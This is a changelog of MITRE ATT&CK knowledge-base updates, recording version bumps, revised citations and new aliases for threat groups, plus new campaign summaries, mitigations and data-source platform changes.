external_references{'source_name': 'IBM ZeroCleare Wiper December 2019', 'description': 'Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.', 'url': 'https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/'}

[G0034] Sandworm Team

Current version: 4.1

Version changed from: 4.0 → 4.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-06 19:05:38.712000+00:002024-09-12 17:37:44.040000+00:00
external_references[21]['description']Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020.Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved September 12, 2024.
external_references[21]['url']https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.htmlhttps://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/index.html
x_mitre_version4.04.1
iterable_item_added
STIX FieldOld valueNew Value
aliasesAPT44
external_references{'source_name': 'APT44', 'description': '(Citation: mandiant_apt44_unearthing_sandworm)'}
external_references{'source_name': 'mandiant_apt44_unearthing_sandworm', 'description': 'Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.', 'url': 'https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf'}
x_mitre_contributorsHakan KARABACAK

[G0010] Turla

Current version: 5.1

Version changed from: 5.0 → 5.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-17 22:12:21.483000+00:002024-06-26 18:09:33.862000+00:00
x_mitre_version5.05.1

[G0128] ZIRCONIUM

Current version: 2.1

Version changed from: 2.0 → 2.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-01-08 22:16:18.643000+00:002024-10-10 14:32:51.085000+00:00
x_mitre_version2.02.1
Patches

[G0025] APT17

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2020-10-13 22:33:14.018000+00:002024-09-04 17:04:35.669000+00:00
external_references[3]['url']https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdfhttps://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf

[G0022] APT3

Current version: 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-06 17:49:35.261000+00:002024-09-16 16:18:53.978000+00:00
external_references[9]['description']Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved June 18, 2017.Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved September 16, 2024.
external_references[9]['url']https://www.recordedfuture.com/chinese-mss-behind-apt3/https://www.recordedfuture.com/research/chinese-mss-behind-apt3

[G0082] APT38

Current version: 3.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-17 22:08:29.146000+00:002024-08-26 16:33:33.984000+00:00
external_references[11]['url']https://content.fireeye.com/apt/rpt-apt38https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf

[G1024] Akira

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-08 17:35:16.134000+00:002024-10-03 10:32:50.221000+00:00

[G0138] Andariel

Current version: 2.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-01-08 21:55:29.570000+00:002024-09-12 18:36:06.078000+00:00
external_references[5]['url']http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdfhttps://web.archive.org/web/20230213154832/http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf
external_references[8]['description']FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 29, 2021.FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 12, 2024.
external_references[8]['url']https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1680.dohttps://fsiceat.tistory.com/2
external_references[9]['description']IssueMakersLab. (2017, May 1). Operation GoldenAxe. Retrieved September 29, 2021.IssueMakersLab. (2017, May 1). Operation GoldenAxe. Retrieved September 12, 2024.

[G0114] Chimera

Current version: 2.2

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-22 03:25:24.295000+00:002024-09-12 19:24:40.416000+00:00
external_references[2]['description']Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020.Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..
external_references[3]['description']Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021.Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.
external_references[3]['url']https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/
x_mitre_attack_spec_version3.1.03.2.0

[G1006] Earth Lusca

Current version: 2.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-10 21:38:24.226000+00:002024-09-16 16:18:00.876000+00:00
external_references[6]['description']INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 2, 2022.INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 16, 2024.
external_references[6]['url']https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwanhttps://www.recordedfuture.com/research/chinese-group-tag-22-targets-nepal-philippines-taiwan

[G0139] TeamTNT

Current version: 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-10 22:34:04.070000+00:002024-09-16 16:23:56.908000+00:00
external_references[9]['description']Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 22, 2021.Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 16, 2024.
external_references[9]['url']https://www.lacework.com/blog/taking-teamtnt-docker-images-offline/https://www.lacework.com/blog/taking-teamtnt-docker-images-offline

[G0045] menuPass

Current version: 3.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 00:47:44.925000+00:002024-09-19 14:30:03.922000+00:00
external_references[14]['description']FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved September 19, 2024.
external_references[14]['url']https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdfhttps://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf

mobile-attack

Minor Version Changes

[G0007] APT28

Current version: 5.1

Version changed from: 5.0 → 5.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-04 19:07:48.903000+00:002024-10-10 14:31:01.968000+00:00
x_mitre_version5.05.1

[G0034] Sandworm Team

Current version: 4.1

Version changed from: 4.0 → 4.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-06 19:05:38.712000+00:002024-09-12 17:37:44.040000+00:00
external_references[21]['description']Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020.Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved September 12, 2024.
external_references[21]['url']https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.htmlhttps://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/index.html
x_mitre_version4.04.1
iterable_item_added
STIX FieldOld valueNew Value
aliasesAPT44
external_references{'source_name': 'APT44', 'description': '(Citation: mandiant_apt44_unearthing_sandworm)'}
external_references{'source_name': 'mandiant_apt44_unearthing_sandworm', 'description': 'Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.', 'url': 'https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf'}
x_mitre_contributorsHakan KARABACAK
Patches

[G1006] Earth Lusca

Current version: 2.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-10 21:38:24.226000+00:002024-09-16 16:18:00.876000+00:00
external_references[6]['description']INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 2, 2022.INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 16, 2024.
external_references[6]['url']https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwanhttps://www.recordedfuture.com/research/chinese-group-tag-22-targets-nepal-philippines-taiwan

ics-attack

Minor Version Changes

[G1001] HEXANE

Current version: 2.3

Version changed from: 2.2 → 2.3

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-09 19:27:00.371000+00:002024-08-14 15:24:19.141000+00:00
x_mitre_version2.22.3

[G0049] OilRig

Current version: 4.1

Version changed from: 4.0 → 4.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 16:06:34.698000+00:002024-09-04 20:33:04.739000+00:00
x_mitre_version4.04.1
iterable_item_added
STIX FieldOld valueNew Value
aliasesITG13
external_references{'source_name': 'ITG13', 'description': '(Citation: IBM ZeroCleare Wiper December 2019)'}
external_references{'source_name': 'IBM ZeroCleare Wiper December 2019', 'description': 'Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.', 'url': 'https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/'}

[G0034] Sandworm Team

Current version: 4.1

Version changed from: 4.0 → 4.1

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-06 19:05:38.712000+00:002024-09-12 17:37:44.040000+00:00
external_references[21]['description']Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020.Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved September 12, 2024.
external_references[21]['url']https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.htmlhttps://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/index.html
x_mitre_version4.04.1
iterable_item_added
STIX FieldOld valueNew Value
aliasesAPT44
external_references{'source_name': 'APT44', 'description': '(Citation: mandiant_apt44_unearthing_sandworm)'}
external_references{'source_name': 'mandiant_apt44_unearthing_sandworm', 'description': 'Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.', 'url': 'https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf'}
x_mitre_contributorsHakan KARABACAK
Patches

[G0082] APT38

Current version: 3.0

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-17 22:08:29.146000+00:002024-08-26 16:33:33.984000+00:00
external_references[11]['url']https://content.fireeye.com/apt/rpt-apt38https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf

Campaigns

enterprise-attack

New Campaigns

[C0040] APT41 DUST

Current version: 1.0

Description: [APT41 DUST](https://attack.mitre.org/campaigns/C0040) was conducted by [APT41](https://attack.mitre.org/groups/G0096) from 2023 to July 2024 against entities in Europe, Asia, and the Middle East. [APT41 DUST](https://attack.mitre.org/campaigns/C0040) targeted sectors such as shipping, logistics, and media for information gathering purposes. [APT41](https://attack.mitre.org/groups/G0096) used previously-observed malware such as [DUSTPAN](https://attack.mitre.org/software/S1158) as well as newly observed tools such as [DUSTTRAP](https://attack.mitre.org/software/S1159) in [APT41 DUST](https://attack.mitre.org/campaigns/C0040).(Citation: Google Cloud APT41 2024)

[C0038] HomeLand Justice

Current version: 1.0

Description: [HomeLand Justice](https://attack.mitre.org/campaigns/C0038) was a disruptive campaign involving the use of ransomware, wiper malware, and sensitive information leaks conducted by Iranian state cyber actors against Albanian government networks in July and September 2022. Initial access for [HomeLand Justice](https://attack.mitre.org/campaigns/C0038) was established in May 2021 as threat actors subsequently moved laterally, exfiltrated sensitive information, and maintained persistence for approximately 14 months prior to the attacks. Responsibility was claimed by the "HomeLand Justice" front whose messaging indicated targeting of the Mujahedeen-e Khalq (MEK), an Iranian opposition group who maintain a refugee camp in Albania, and were formerly designated a terrorist organization by the US State Department.(Citation: Mandiant ROADSWEEP August 2022)(Citation: Microsoft Albanian Government Attacks September 2022)(Citation: CISA Iran Albanian Attacks September 2022) A second wave of attacks was launched in September 2022 using similar tactics after public attribution of the previous activity to Iran and the severing of diplomatic ties between Iran and Albania.(Citation: CISA Iran Albanian Attacks September 2022) + +

[C0035] KV Botnet Activity

Current version: 1.0

Description: [KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) consisted of exploitation of primarily “end-of-life” small office-home office (SOHO) equipment from manufacturers such as Cisco, NETGEAR, and DrayTek. [KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) was used by [Volt Typhoon](https://attack.mitre.org/groups/G1017) to obfuscate connectivity to victims in multiple critical infrastructure segments, including energy and telecommunication companies and entities based on the US territory of Guam. While the KV Botnet is the most prominent element of this campaign, it overlaps with another botnet cluster referred to as the JDY cluster.(Citation: Lumen KVBotnet 2023) This botnet was disrupted by US law enforcement entities in early 2024 after periods of activity from October 2022 through January 2024.(Citation: DOJ KVBotnet 2024)

[C0036] Pikabot Distribution February 2024

Current version: 1.0

Description: [Pikabot](https://attack.mitre.org/software/S1145) was distributed in [Pikabot Distribution February 2024](https://attack.mitre.org/campaigns/C0036) using malicious emails with embedded links leading to malicious ZIP archives requiring user interaction for follow-on infection. The version of [Pikabot](https://attack.mitre.org/software/S1145) distributed featured significant changes over the 2023 variant, including reduced code complexity and simplified obfuscation mechanisms.(Citation: Elastic Pikabot 2024)(Citation: Zscaler Pikabot 2024)

[C0039] Versa Director Zero Day Exploitation

Current version: 1.0

Description: [Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) was conducted by [Volt Typhoon](https://attack.mitre.org/groups/G1017) from early June through August 2024 as zero-day exploitation of Versa Director servers controlling software-defined wide area network (SD-WAN) applications. Since tracked as CVE-2024-39717, exploitation focused on credential capture from compromised Versa Director servers at managed service providers (MSPs) and internet service providers (ISPs) to enable follow-on access to service provider clients. [Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) was followed by the delivery of the [VersaMem](https://attack.mitre.org/software/S1154) web shell for both credential theft and follow-on code execution.(Citation: Lumen Versa 2024)

[C0037] Water Curupira Pikabot Distribution

Current version: 1.0

Description: [Pikabot](https://attack.mitre.org/software/S1145) was distributed in [Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) throughout 2023 by an entity linked to BlackBasta ransomware deployment via email attachments. This activity followed the take-down of [QakBot](https://attack.mitre.org/software/S0650), with several technical overlaps and similarities with [QakBot](https://attack.mitre.org/software/S0650), indicating a possible connection. The identified activity led to the deployment of tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154), while coinciding with campaigns delivering [DarkGate](https://attack.mitre.org/software/S1111) and [IcedID](https://attack.mitre.org/software/S0483) en route to ransomware deployment.(Citation: TrendMicro Pikabot 2024)

Minor Version Changes

[C0024] SolarWinds Compromise

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1The [SolarWinds Compromise](https://attack.mitre.org/campaigt1The [SolarWinds Compromise](https://attack.mitre.org/campaig
>ns/C0024) was a sophisticated supply chain cyber operation c>ns/C0024) was a sophisticated supply chain cyber operation c
>onducted by [APT29](https://attack.mitre.org/groups/G0016) t>onducted by [APT29](https://attack.mitre.org/groups/G0016) t
>hat was discovered in mid-December 2020. [APT29](https://att>hat was discovered in mid-December 2020. [APT29](https://att
>ack.mitre.org/groups/G0016) used customized malware to injec>ack.mitre.org/groups/G0016) used customized malware to injec
>t malicious code into the SolarWinds Orion software build pr>t malicious code into the SolarWinds Orion software build pr
>ocess that was later distributed through a normal software u>ocess that was later distributed through a normal software u
>pdate; they also used password spraying, token theft, API ab>pdate; they also used password spraying, token theft, API ab
>use, spear phishing, and other supply chain attacks to compr>use, spear phishing, and other supply chain attacks to compr
>omise user accounts and leverage their associated access. Vi>omise user accounts and leverage their associated access. Vi
>ctims of this campaign included government, consulting, tech>ctims of this campaign included government, consulting, tech
>nology, telecom, and other organizations in North America, E>nology, telecom, and other organizations in North America, E
>urope, Asia, and the Middle East. Industry reporting initial>urope, Asia, and the Middle East. This activity has been lab
>ly referred to the actors involved in this campaign as UNC24>led the StellarParticle campaign in industry reporting.(Cita
>52, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.(Ci>tion: CrowdStrike StellarParticle January 2022) Industry rep
>tation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds S>orting also initially referred to the actors involved in thi
>unburst Sunspot Update January 2021)(Citation: FireEye SUNBU>s campaign as UNC2452, NOBELIUM, Dark Halo, and SolarStorm.(
>RST Backdoor December 2020)(Citation: Volexity SolarWinds)(C>Citation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds
>itation: CrowdStrike StellarParticle January 2022)(Citation:> Sunburst Sunspot Update January 2021)(Citation: FireEye SUN
> Unit 42 SolarStorm December 2020)(Citation: Microsoft Analy>BURST Backdoor December 2020)(Citation: Volexity SolarWinds)
>zing Solorigate Dec 2020)(Citation: Microsoft Internal Solor>(Citation: CrowdStrike StellarParticle January 2022)(Citatio
>igate Investigation Blog)   In April 2021, the US and UK gov>n: Unit 42 SolarStorm December 2020)(Citation: Microsoft Ana
>ernments attributed the [SolarWinds Compromise](https://atta>lyzing Solorigate Dec 2020)(Citation: Microsoft Internal Sol
>ck.mitre.org/campaigns/C0024) to Russia's Foreign Intelligen>origate Investigation Blog)   In April 2021, the US and UK g
>ce Service (SVR); public statements included citations to [A>overnments attributed the [SolarWinds Compromise](https://at
>PT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and>tack.mitre.org/campaigns/C0024) to Russia's Foreign Intellig
> The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds Apri>ence Service (SVR); public statements included citations to 
>l 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Cita>[APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, a
>tion: Mandiant UNC2452 APT29 April 2022) The US government a>nd The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds Ap
>ssessed that of the approximately 18,000 affected public and>ril 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Ci
> private sector customers of Solar Winds’ Orion product, a m>tation: Mandiant UNC2452 APT29 April 2022) The US government
>uch smaller number were compromised by follow-on [APT29](htt> assessed that of the approximately 18,000 affected public a
>ps://attack.mitre.org/groups/G0016) activity on their system>nd private sector customers of Solar Winds’ Orion product, a
>s.(Citation: USG Joint Statement SolarWinds January 2021) > much smaller number were compromised by follow-on [APT29](h
 >ttps://attack.mitre.org/groups/G0016) activity on their syst
 >ems.(Citation: USG Joint Statement SolarWinds January 2021) 
Details
values_changed
STIX FieldOld valueNew Value
modified2023-04-14 00:41:06.231000+00:002024-09-03 18:50:55.787000+00:00
descriptionThe [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) was a sophisticated supply chain cyber operation conducted by [APT29](https://attack.mitre.org/groups/G0016) that was discovered in mid-December 2020. [APT29](https://attack.mitre.org/groups/G0016) used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.(Citation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Volexity SolarWinds)(Citation: CrowdStrike StellarParticle January 2022)(Citation: Unit 42 SolarStorm December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: Microsoft Internal Solorigate Investigation Blog) + +In April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to Russia's Foreign Intelligence Service (SVR); public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Citation: Mandiant UNC2452 APT29 April 2022) The US government assessed that of the approximately 18,000 affected public and private sector customers of Solar Winds’ Orion product, a much smaller number were compromised by follow-on [APT29](https://attack.mitre.org/groups/G0016) activity on their systems.(Citation: USG Joint Statement SolarWinds January 2021) The [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) was a sophisticated supply chain cyber operation conducted by [APT29](https://attack.mitre.org/groups/G0016) that was discovered in mid-December 2020. [APT29](https://attack.mitre.org/groups/G0016) used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. This activity has been labled the StellarParticle campaign in industry reporting.(Citation: CrowdStrike StellarParticle January 2022) Industry reporting also initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, Dark Halo, and SolarStorm.(Citation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Volexity SolarWinds)(Citation: CrowdStrike StellarParticle January 2022)(Citation: Unit 42 SolarStorm December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: Microsoft Internal Solorigate Investigation Blog) + +In April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to Russia's Foreign Intelligence Service (SVR); public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Citation: Mandiant UNC2452 APT29 April 2022) The US government assessed that of the approximately 18,000 affected public and private sector customers of Solar Winds’ Orion product, a much smaller number were compromised by follow-on [APT29](https://attack.mitre.org/groups/G0016) activity on their systems.(Citation: USG Joint Statement SolarWinds January 2021)
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.01.1

Mitigations

enterprise-attack

New Mitigations

[M1060] Out-of-Band Communications Channel

Current version: 1.0

Description: Establish secure out-of-band communication channels to ensure the continuity of critical communications during security incidents, data integrity attacks, or in-network communication failures. Out-of-band communication refers to using an alternative, separate communication path that is not dependent on the potentially compromised primary network infrastructure. This method can include secure messaging apps, encrypted phone lines, satellite communications, or dedicated emergency communication systems. Leveraging these alternative channels reduces the risk of adversaries intercepting, disrupting, or tampering with sensitive communications and helps coordinate an effective incident response.(Citation: TrustedSec OOB Communications)(Citation: NIST Special Publication 800-53 Revision 5)

Minor Version Changes

[M1015] Active Directory Configuration

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Configure Active Directory to prevent use of certain techniqt1Implement robust Active Directory configurations using group
>ues; use SID Filtering, etc.> policies to control access and reduce the attack surface. S
 >pecific examples include:  * Account Configuration: Use prov
 >isioned domain accounts rather than local accounts to levera
 >ge centralized control and auditing capabilities. * Interact
 >ive Logon Restrictions: Enforce group policies that prohibit
 > interactive logons for accounts that should not directly ac
 >cess systems. * Remote Desktop Settings: Limit Remote Deskto
 >p logons to authorized accounts to prevent misuse by adversa
 >ries. * Dedicated Administrative Accounts: Create specialize
 >d domain-wide accounts that are restricted from interactive 
 >logons but can perform specific tasks like installations or 
 >repository access. * Authentication Silos: Configure Authent
 >ication Silos in Active Directory to create access zones wit
 >h restrictions based on membership in the Protected Users gl
 >obal security group. This setup enhances security by applyin
 >g additional protections to high-risk accounts, limiting the
 >ir exposure to potential attacks.
Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2020-05-29 16:34:40.344000+00:002024-10-08 17:01:33.131000+00:00
descriptionConfigure Active Directory to prevent use of certain techniques; use SID Filtering, etc.Implement robust Active Directory configurations using group policies to control access and reduce the attack surface. Specific examples include: + +* Account Configuration: Use provisioned domain accounts rather than local accounts to leverage centralized control and auditing capabilities. +* Interactive Logon Restrictions: Enforce group policies that prohibit interactive logons for accounts that should not directly access systems. +* Remote Desktop Settings: Limit Remote Desktop logons to authorized accounts to prevent misuse by adversaries. +* Dedicated Administrative Accounts: Create specialized domain-wide accounts that are restricted from interactive logons but can perform specific tasks like installations or repository access. +* Authentication Silos: Configure Authentication Silos in Active Directory to create access zones with restrictions based on membership in the Protected Users global security group. This setup enhances security by applying additional protections to high-risk accounts, limiting their exposure to potential attacks.
x_mitre_version1.11.2
Patches

[M1047] Audit

Current version: 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-31 14:50:47.704000+00:002024-10-17 18:53:08.707000+00:00
x_mitre_attack_spec_version3.1.03.2.0

[M1043] Credential Access Protection

Current version: 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2022-10-21 15:51:57.176000+00:002024-10-17 18:53:26.963000+00:00
x_mitre_attack_spec_version2.1.03.2.0

[M1038] Execution Prevention

Current version: 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2022-02-28 19:50:41.210000+00:002024-10-17 18:53:48.791000+00:00

[M1037] Filter Network Traffic

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2020-06-20 20:46:36.342000+00:002024-10-17 18:54:05.785000+00:00

[M1033] Limit Software Installation

Current version: 1.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2019-06-11 16:26:52.202000+00:002024-10-17 18:54:20.898000+00:00

[M1031] Network Intrusion Prevention

Current version: 1.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2019-06-10 20:46:02.263000+00:002024-10-17 18:54:36.723000+00:00

[M1026] Privileged Account Management

Current version: 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2020-03-31 13:08:36.655000+00:002024-10-17 18:55:04.576000+00:00

[M1017] User Training

Current version: 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2020-10-21 19:08:13.228000+00:002024-10-17 18:55:19.798000+00:00

ics-attack

Minor Version Changes

[M0813] Software Process and Device Authentication

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
values_changed
STIX FieldOld valueNew Value
modified2023-09-20 13:12:24.527000+00:002024-10-14 20:31:04.927000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.01.1
labels[2]NIST SP 800-53 Rev. 5 - IA-9NIST SP 800-53 Rev. 5 - IA-3

Data Sources

enterprise-attack

Patches

[DS0026] Active Directory

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2022-03-30T14:26:51.803Z2024-10-14T22:11:30.271Z
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD

[DS0015] Application Log

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2022-05-11T14:00:00.188Z2024-10-14T22:11:30.271Z
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsGoogle Workspace
x_mitre_platformsOffice 365

[DS0025] Cloud Service

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2022-03-30T14:26:51.804Z2024-10-14T22:11:30.271Z
x_mitre_platforms[3]Office 365Identity Provider
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsGoogle Workspace

[DS0018] Firewall

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2022-03-30T14:26:51.805Z2024-10-14T22:11:30.271Z
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsGoogle Workspace
x_mitre_platformsOffice 365

[DS0036] Group

Current version: 1.0

Details
values_changed
STIX FieldOld valueNew Value
modified2022-03-30T14:26:51.805Z2024-10-14T22:11:30.271Z
x_mitre_platforms[3]Office 365Office Suite
iterable_item_added
